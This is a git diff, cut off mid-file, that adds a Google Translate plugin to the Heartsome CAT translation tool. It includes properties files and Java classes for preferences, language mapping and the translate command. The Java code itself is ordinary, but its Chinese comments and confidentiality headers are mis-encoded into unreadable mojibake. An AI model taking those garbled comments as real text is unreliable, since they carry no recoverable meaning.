0000000..c09780d Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/right.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/trans_google_key_32.png b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_key_32.png new file mode 100644 index 0000000..9166eb2 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_key_32.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/trans_google_set_32.png b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_set_32.png new file mode 100644 index 0000000..0d497d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_set_32.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/images/trans_google_trans_32.png b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_trans_32.png new file mode 100644 index 0000000..00a2de0 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/images/trans_google_trans_32.png differ diff --git a/ts/net.heartsome.cat.ts.googletrans/lib/google-api-translate-java-0.97.jar b/ts/net.heartsome.cat.ts.googletrans/lib/google-api-translate-java-0.97.jar new file mode 100644 index 0000000..cbb1a60 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/lib/google-api-translate-java-0.97.jar differ diff --git a/ts/net.heartsome.cat.ts.googletrans/lib/json-20090211.jar b/ts/net.heartsome.cat.ts.googletrans/lib/json-20090211.jar new file mode 100644 index 0000000..ef29094 Binary files /dev/null and b/ts/net.heartsome.cat.ts.googletrans/lib/json-20090211.jar differ diff --git a/ts/net.heartsome.cat.ts.googletrans/plugin.properties b/ts/net.heartsome.cat.ts.googletrans/plugin.properties new file mode 100644 index 0000000..3f9ce0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/plugin.properties @@ -0,0 +1,3 @@ +preferencePages.googleTrans = Google Translate +menu.executeGoogleTrans = Google \u673a\u5668\u7ffb\u8bd1 +command.executeGoogleTrans = Google \u673a\u5668\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.googletrans/plugin.xml b/ts/net.heartsome.cat.ts.googletrans/plugin.xml new file mode 100644 index 0000000..b972f36 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/plugin.xml @@ -0,0 +1,66 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.googletrans/plugin_en.properties b/ts/net.heartsome.cat.ts.googletrans/plugin_en.properties new file mode 100644 index 0000000..f6652ef --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/plugin_en.properties @@ -0,0 +1,3 @@ +preferencePages.googleTrans = Google Translate +menu.executeGoogleTrans = Google Machine Translation +command.executeGoogleTrans = Google Machine Translation diff --git a/ts/net.heartsome.cat.ts.googletrans/plugin_zh.properties b/ts/net.heartsome.cat.ts.googletrans/plugin_zh.properties new file mode 100644 index 0000000..3f9ce0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/plugin_zh.properties @@ -0,0 +1,3 @@ +preferencePages.googleTrans = Google Translate +menu.executeGoogleTrans = Google \u673a\u5668\u7ffb\u8bd1 +command.executeGoogleTrans = Google \u673a\u5668\u7ffb\u8bd1 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/Activator.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/Activator.java new file mode 100644 index 0000000..819bbcc --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/Activator.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.googletrans; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.googletrans"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片被伸缩å˜æ¢ä¸º16*16åƒç´ çš„æè¿°ä¿¡æ¯ã€‚ + * @param path + * the path + * @return the icon descriptor + */ + public static ImageDescriptor getIconDescriptor(String path) { + ImageDescriptor image = getImageDescriptor(path); + ImageData data = image.getImageData(); + data = data.scaledTo(16, 16); + image = ImageDescriptor.createFromImageData(data); + return image; + } +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/GoogleTransUtils.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/GoogleTransUtils.java new file mode 100644 index 0000000..7ce37b0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/GoogleTransUtils.java @@ -0,0 +1,48 @@ +/** + * GoogleTransUtils.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans; + +import com.google.api.translate.Language; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class GoogleTransUtils { + + /** 处ç†è¯­è¨€ */ + public static Language processLanguage(String hsLanguageCode) { + // 由于中文å‰ç¼€ä¸€æ ·ï¼Œéœ€é’ˆå¯¹ä¸­æ–‡ç‰¹æ®Šå¤„ç†ã€‚ + if (hsLanguageCode.equalsIgnoreCase("zh-CN")) { + return Language.CHINESE_SIMPLIFIED; + } + + if (hsLanguageCode.equalsIgnoreCase("zh-TW")) { + return Language.CHINESE_TRADITIONAL; + } + + Language[] supportedLangs = Language.values(); + for (Language lang : supportedLangs) { + String code = lang.toString(); + if (code.equals("")) { + continue; + } + + if (hsLanguageCode.startsWith(code) || code.startsWith(hsLanguageCode)) { + return lang; + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/SimpleMatcherGoogleImpl.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/SimpleMatcherGoogleImpl.java new file mode 100644 index 0000000..d14b7f0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/SimpleMatcherGoogleImpl.java @@ -0,0 +1,123 @@ +/** + * SimpleMatcherGoogleImpl.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans; + +import net.heartsome.cat.ts.googletrans.bean.PrefrenceParameters; +import net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; + +import com.google.api.GoogleAPI; +import com.google.api.GoogleAPIException; +import com.google.api.translate.Translate; + +/** + * http://code.google.com/p/google-api-translate-java/ + * @author jason + * @version + * @since JDK1.6 + */ +public class SimpleMatcherGoogleImpl implements ISimpleMatcher { + + private PrefrenceParameters parameters = PrefrenceParameters.getInstance(); + private String type = "Google"; + private String toolId = "Google Translation"; + private String origin = "Google Translation"; + + /** + * + */ + public SimpleMatcherGoogleImpl() { + String googleKey = this.parameters.getKey(); + GoogleAPI.setHttpReferrer("http://www.heartsome.net"); + GoogleAPI.setKey(googleKey); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#matchChecker() + */ + public boolean matchChecker() { + if (!parameters.getState()) { + return false; + } + if(parameters.isManualAccess()){ + // 紧支æŒæ‰‹åŠ¨è®¿é—® + return false; + } + return true; + } + + // + // private boolean validator() { + // try { + // String result = Translate.DEFAULT.execute("test", GoogleTransUtils.processLanguage("en-US"), + // GoogleTransUtils.processLanguage("zh-CN")); + // if (result.equals("测试")) { + // return true; + // } + // } catch (GoogleAPIException e) { + // return false; + // } + // return false; + // } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#executeMatch(net.heartsome.cat.ts.tm.bean.TransUnitInfo2TranslationBean) + */ + public String executeMatch(TransUnitInfo2TranslationBean tuInfo) { + try { + String srcText = tuInfo.getSrcPureText(); + String srcLang = tuInfo.getSrcLanguage(); + String tgtLang = tuInfo.getTgtLangugage(); + String result = Translate.DEFAULT.execute(srcText, GoogleTransUtils.processLanguage(srcLang), + GoogleTransUtils.processLanguage(tgtLang)); + if (result != null) { + return result; + } + } catch (GoogleAPIException e) { + return ""; + } + return ""; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher#isSuportPreTrans() + */ + public boolean isSuportPreTrans() { + if (parameters != null) { + return parameters.isSuportPreTrans() && parameters.getState(); + } + return false; + } + + public boolean isOverwriteMatch() { + if (parameters != null) { + return parameters.isAlwaysAccess(); + } + return false; + } + + public String getMatcherType() { + return type; + } + + public String getMathcerToolId() { + return toolId; + } + + public String getMathcerOrigin() { + return origin; + } +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/IPreferenceConstant.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/IPreferenceConstant.java new file mode 100644 index 0000000..959d12c --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/IPreferenceConstant.java @@ -0,0 +1,43 @@ +/** + * IPreferenceConstant.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans.bean; + +/** + * googleç¿»è¯‘é¦–é€‰é¡¹å¸¸é‡ + * @author jason + * @version + * @since JDK1.6 + */ +public interface IPreferenceConstant { + + /** + * 当å‰google 翻译状æ€ï¼Œç”¨äºŽè®°å½•å½“å‰æ˜¯å¦é€šè¿‡äº†éªŒè¯ + */ + String STATE = "net.heartsome.cat.ts.googletrans.state"; + + /** Google 翻译的Key */ + String KEY = "net.heartsome.cat.ts.googletrans.key"; + + /** ä¸é‡å¤è®¿é—® */ + String NO_REPEATE_ACCESS = "net.heartsome.cat.ts.googletrans.norepeate"; + + /** 总是访问 */ + String ALWAYS_ACCESS = "net.heartsome.cat.ts.googletrans.always"; + + /*** 手动访问 */ + String MANUAL_ACCESS = "net.heartsome.cat.ts.googletrans.manual"; + + + /** 是å¦æ”¯æŒé¢„翻译 */ + String PRETRANS_STATE = "net.heartsome.cat.ts.googletrans.suportpretrans"; +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/PrefrenceParameters.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/PrefrenceParameters.java new file mode 100644 index 0000000..b9f4e1b --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/bean/PrefrenceParameters.java @@ -0,0 +1,135 @@ +/** + * PrefrenceParameters.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans.bean; + +import net.heartsome.cat.ts.googletrans.Activator; + +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class PrefrenceParameters implements IPropertyChangeListener { + + private String key = ""; + private boolean state; + private boolean isNoRepateAccess; + private boolean isAlwaysAccess; + private boolean isManualAccess; + + private boolean isSuportPreTrans; + + private IPreferenceStore ps; + + private static PrefrenceParameters instance; + + public static PrefrenceParameters getInstance() { + if (instance == null) { + instance = new PrefrenceParameters(); + } + return instance; + } + + private PrefrenceParameters() { + ps = Activator.getDefault().getPreferenceStore(); + ps.addPropertyChangeListener(this); + loadPrefrence(); + } + + private void loadPrefrence() { + if (ps != null) { + state = ps.getBoolean(IPreferenceConstant.STATE); + key = ps.getString(IPreferenceConstant.KEY); + + isNoRepateAccess = ps.getBoolean(IPreferenceConstant.NO_REPEATE_ACCESS); + isAlwaysAccess = ps.getBoolean(IPreferenceConstant.ALWAYS_ACCESS); + isManualAccess = ps.getBoolean(IPreferenceConstant.MANUAL_ACCESS); + + isSuportPreTrans = ps.getBoolean(IPreferenceConstant.PRETRANS_STATE); + } + } + + public void propertyChange(PropertyChangeEvent event) { + loadPrefrence(); + } + + /** + * 获å–当å‰Key true or false + * @return ; + */ + public String getKey() { + return key; + } + + /** + * 获å–当å‰çŠ¶æ€ï¼Œtrue or false + * @return ; + */ + public boolean getState() { + return state; + } + + /** + * 返回访问APIçš„ç­–ç•¥, 没有指定访问策略则返回一个空串,如果有策略则返回对的首选项å‚æ•°å称 + * @return + */ + public String getAccessStrategy() { + if (isNoRepateAccess) { + return IPreferenceConstant.NO_REPEATE_ACCESS; + } + if (isAlwaysAccess) { + return IPreferenceConstant.ALWAYS_ACCESS; + } + if (isManualAccess) { + return IPreferenceConstant.MANUAL_ACCESS; + } + return ""; + } + + /** + * 是å¦æ”¯æŒé¢„翻译 + * @return ; + */ + public boolean isSuportPreTrans() { + return isSuportPreTrans; + } + + /** + * 是å¦é‡å¤è®¿é—®API + * @return the isNoRepateAccess + */ + public boolean isNoRepateAccess() { + return isNoRepateAccess; + } + + /** + * 是å¦æ€»æ˜¯è®¿é—®API + * @return the isAlwaysAccess + */ + public boolean isAlwaysAccess() { + return isAlwaysAccess; + } + + /** + * 是å¦ä»Žä¸è®¿é—®API + * @return the isNeverAccess + */ + public boolean isManualAccess() { + return isManualAccess; + } + +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/handler/ExecuteGoogleTransHandler.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/handler/ExecuteGoogleTransHandler.java new file mode 100644 index 0000000..c9b4600 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/handler/ExecuteGoogleTransHandler.java @@ -0,0 +1,123 @@ +/** + * ExecuteGoogleTransHandler.java + * + * Version information : + * + * Date:2012-6-11 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans.handler; + +import net.heartsome.cat.ts.googletrans.SimpleMatcherGoogleImpl; +import net.heartsome.cat.ts.googletrans.bean.PrefrenceParameters; +import net.heartsome.cat.ts.googletrans.resource.Messages; +import net.heartsome.cat.ts.tm.simpleMatch.ISimpleMatcher; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.translation.view.MatchViewPart; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ExecuteGoogleTransHandler extends AbstractHandler { + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + + final IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindow(event); + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (!(editor instanceof IXliffEditor)) { + return null; + } + + // check the google translation state: check the key availability + PrefrenceParameters ps = PrefrenceParameters.getInstance(); + if (!ps.getState()) { + MessageDialog.openError(window.getShell(), + Messages.getString("handler.ExecuteGoogleTransHandler.msgTitle"), + Messages.getString("handler.ExecuteGoogleTransHandler.msg")); + return null; + } + + final IXliffEditor xliffEditor = (IXliffEditor) editor; + + final int[] selectedRowIndexs = xliffEditor.getSelectedRows(); + if (selectedRowIndexs.length == 0) { + return null; + } +// int currentRowIndex = selectedRowIndexs[0]; +// TransUnitBean transUnitBean = xliffEditor.getRowTransUnitBean(currentRowIndex); +// if (transUnitBean == null) { +// return null; +// } +// String srcPureText = transUnitBean.getSrcText(); +// String tgtLanguage = xliffEditor.getTgtColumnName(); +// String srcLanguage = xliffEditor.getSrcColumnName(); + +// TransUnitInfo2TranslationBean tuInfo2Trans = new TransUnitInfo2TranslationBean(); +// tuInfo2Trans.setSrcPureText(srcPureText); +// tuInfo2Trans.setSrcLanguage(srcLanguage); +// tuInfo2Trans.setTgtLangugage(tgtLanguage); + + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ExecuteGoogleTransHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + + ISimpleMatcher matcher = new SimpleMatcherGoogleImpl(); +// String tgtText = matcher.executeMatch(tuInfo2Trans); +// if (tgtText.equals("")) { +// return null; +// } + +// AltTransBean bean = new AltTransBean(srcPureText, tgtText, srcLanguage, tgtLanguage, +// matcher.getMathcerOrigin(), matcher.getMathcerToolId()); +// bean.getMatchProps().put("match-quality", "100"); +// bean.getMatchProps().put("hs:matchType", matcher.getMatcherType()); +// bean.setSrcContent(srcPureText); +// bean.setTgtContent(tgtText); + +// List newAltTrans = new ArrayList(); +// newAltTrans.add(bean); + + // check if need save the AltTrans to file +// if (CommonFunction.checkEdition("U") && matcher.isSuportPreTrans()) { +// List oldToolIds = new ArrayList(); +// oldToolIds.add(matcher.getMathcerToolId()); +// xliffEditor.getXLFHandler().updateAltTrans(xliffEditor.getXLFHandler().getRowId(currentRowIndex), newAltTrans, oldToolIds); +// } + + IViewPart viewPart = window.getActivePage().findView(MatchViewPart.ID); + if (viewPart != null && viewPart instanceof MatchViewPart) { + MatchViewPart matchView = (MatchViewPart) viewPart; + matchView.manualExecSimpleTranslation(matcher); + //matchView.refreshView(xliffEditor, selectedRowIndexs[0]); +// matchView.replaceMatchs(newAltTrans); +// matchView.refreshViewByToolId(xliffEditor, newAltTrans, matcher.getMathcerToolId()); +// newAltTrans.clear(); + } + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglTransPreferenceInitializer.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglTransPreferenceInitializer.java new file mode 100644 index 0000000..02bdc9f --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglTransPreferenceInitializer.java @@ -0,0 +1,45 @@ +/** + * GooglTransPreferenceInitializer.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans.prefrence; + +import net.heartsome.cat.ts.googletrans.Activator; +import net.heartsome.cat.ts.googletrans.bean.IPreferenceConstant; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class GooglTransPreferenceInitializer extends AbstractPreferenceInitializer { + + + /** (non-Javadoc) + * @see org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer#initializeDefaultPreferences() + */ + @Override + public void initializeDefaultPreferences() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + ps.setDefault(IPreferenceConstant.STATE, false); + ps.setDefault(IPreferenceConstant.KEY, ""); + + ps.setDefault(IPreferenceConstant.NO_REPEATE_ACCESS, true); + ps.setDefault(IPreferenceConstant.ALWAYS_ACCESS, false); + ps.setDefault(IPreferenceConstant.MANUAL_ACCESS, false); + + ps.setDefault(IPreferenceConstant.PRETRANS_STATE, false); + } + +} diff --git a/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglePreferencePage.java b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglePreferencePage.java new file mode 100644 index 0000000..56d6c60 --- /dev/null +++ b/ts/net.heartsome.cat.ts.googletrans/src/net/heartsome/cat/ts/googletrans/prefrence/GooglePreferencePage.java @@ -0,0 +1,365 @@ +/** + * GooglePreferencePage.java + * + * Version information : + * + * Date:2012-5-13 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.googletrans.prefrence; + +import net.heartsome.cat.ts.googletrans.Activator; +import net.heartsome.cat.ts.googletrans.GoogleTransUtils; +import net.heartsome.cat.ts.googletrans.bean.IPreferenceConstant; +import net.heartsome.cat.ts.googletrans.resource.Messages; +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Link; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +import com.google.api.GoogleAPI; +import com.google.api.GoogleAPIException; +import com.google.api.translate.Translate; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class GooglePreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private IPreferenceStore ps; + + private Text googleKeyText; + private Label stateLabel; + + // accessibility widget + private Button noRepeatAccessBtn; + private Button alwaysAccessBtn; + private Button manualAccessBtn; + + // preTranslation suport + private Button suportPreTransBtn; + + private Image rightImage; + private Image errorImage; + private boolean state; + + /** + * constructor + */ + public GooglePreferencePage() { + // setDescription(des); + // setImageDescriptor(Activator.getImageDescriptor("images/google-translation.png")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + ps = getPreferenceStore(); + state = ps.getBoolean(IPreferenceConstant.STATE); + rightImage = Activator.getImageDescriptor("images/right.png").createImage(); + errorImage = Activator.getImageDescriptor("images/error.png").createImage(); + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.IWorkbenchPreferencePage#init(org.eclipse.ui.IWorkbench) + */ + public void init(IWorkbench workbench) { + + } + + // private Label label; + /** + * (non-Javadoc) + * @see org.eclipse.jface.preference.PreferencePage#createContents(org.eclipse.swt.widgets.Composite) + */ + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout(1, false)); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group apiKeySettingGroup = new Group(tparent, SWT.NONE); + 